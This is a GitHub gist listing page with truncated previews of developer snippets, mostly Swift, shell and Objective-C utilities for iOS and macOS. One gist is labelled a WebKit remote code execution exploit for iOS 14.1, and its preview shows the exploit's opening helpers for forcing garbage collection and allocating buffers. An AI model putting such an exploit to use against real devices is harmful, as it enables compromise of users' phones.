Skip to content

Instantly share code, notes, and snippets.

View JackoPlane's full-sized avatar
⚠️
Carefulling in progress

Jack Perry JackoPlane

⚠️
Carefulling in progress
View GitHub Profile
@shinyquagsire23
shinyquagsire23 / fixup.sh
Created July 18, 2023 02:20
Fixup iOS apps to run on visionOS sim
#!/bin/zsh
PWD=$(pwd)
app_path=$1
app_basename="${app_path%.*}"
if [ "$#" -ne 1 ]; then
echo "Usage: ./fixup.sh YourApp.app"
exit -1
fi
@ujin5
ujin5 / fuck.js
Last active March 27, 2024 14:45
WebKit RCE on ios 14.1
function sleep( sleepDuration ){
var now = new Date().getTime();
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
}
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
let data_view = new DataView(new ArrayBuffer(8));
@soffes
soffes / Decoders+JSON.swift
Last active January 8, 2021 12:51 — forked from loudmouth/Decode Array<Any> and Dictionary<String, Any> Swift
Decode Array<Any> and Dictionary<String, Any> Swift
import Foundation
// Inspired by https://gist.github.com/loudmouth/332e8d89d8de2c1eaf81875cfcd22e24
private struct JSONCodingKeys: CodingKey {
var stringValue: String
init?(stringValue: String) {
self.stringValue = stringValue
}
@talaviram
talaviram / add_debug_entitlement.sh
Last active April 8, 2024 21:42
Simple Utility Script for allowing debug of hardened macOS apps.
#! /bin/bash
# Simple Utility Script for allowing debug of hardened macOS apps.
# This is useful mostly for plug-in developer that would like keep developing without turning SIP off.
# Credit for idea goes to (McMartin): https://forum.juce.com/t/apple-gatekeeper-notarised-distributables/29952/57?u=ttg
# Update 2022-03-10: Based on Fabian's feedback, add capability to inject DYLD for sanitizers.
#
# Please note:
# - Modern Logic (on M1s) uses `AUHostingService` which resides within the system thus not patchable and REQUIRES to turn-off SIP.
# - Some hosts uses separate plug-in scanning or sandboxing.
# if that's the case, it's required to patch those (if needed) and attach debugger to them instead.
@zats
zats / ↔️.js
Created February 11, 2018 22:00
Bookmarklets for fullscreen, entering picture-in-picture, switching between fast and normal playback
javascript:document.getElementsByTagName('video')%5B0%5D.webkitEnterFullscreen()
@rnapier
rnapier / json.swift
Last active January 31, 2024 12:49
Generic JSON Decodable
import Foundation
@dynamicMemberLookup
enum JSON: Codable, CustomStringConvertible {
var description: String {
switch self {
case .string(let string): return "\"\(string)\""
case .number(let double):
if let int = Int(exactly: double) {
return "\(int)"
import Dispatch
/// Dispatch options for `forEach` loops
public enum ForEachClosureDispatch {
case sequential
case concurrent
}
extension Sequence {
/// Calls the given closure on each element in the sequence in the same order
@n00neimp0rtant
n00neimp0rtant / gist:27829d87118d984232a4
Last active May 24, 2019 15:10
UIVisualEffectView blur radius manipulation (new for iOS 9)
// iOS 9 allows you to animate between visual effects, which gives you the
// ability to manipulate the blur radius. this can be useful for animating
// a backdrop for a custom modal, and with a few tricks, can even be set
// indirectly, allowing you to "scrub" between them back and forth with
// a gesture, just like when you pull down Spotlight.
// these are the two effects you want to transition between
UIVisualEffect *startEffect = nil; // "nil" means no blur/tint/vibrancy (plain, fully-transparent view)
UIVisualEffect *endEffect = [UIBlurEffect effectWithStyle:UIBlurEffectStyleLight];
@jverkoey
jverkoey / NSManagedObjectContext+DebugSwizzling.m
Created April 14, 2014 11:52
Core Data Managed Object Context Debugging
// NSManagedObjectContext+DebugSwizzling.h
#import <CoreData/CoreData.h>
#if DEBUG
/**
* Toggles debugging of Core Data managed object contexts.
*
* When enabled, will fire NSLogs in the following cases:
@i03nomura1y
i03nomura1y / ios_lockscreen_notification.m
Last active May 19, 2020 12:15
iOS LockScreen Notification
// iOS ロックスクリーン Notification
#define NotifName_LockComplete @"com.apple.springboard.lockcomplete"
#define NotifName_LockState @"com.apple.springboard.lockstate"
//call back
static void lockStatusChanged(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo){
NSString *name = (__bridge NSString*)name_cf;
if ([name isEqualToString:NotifName_LockComplete]) {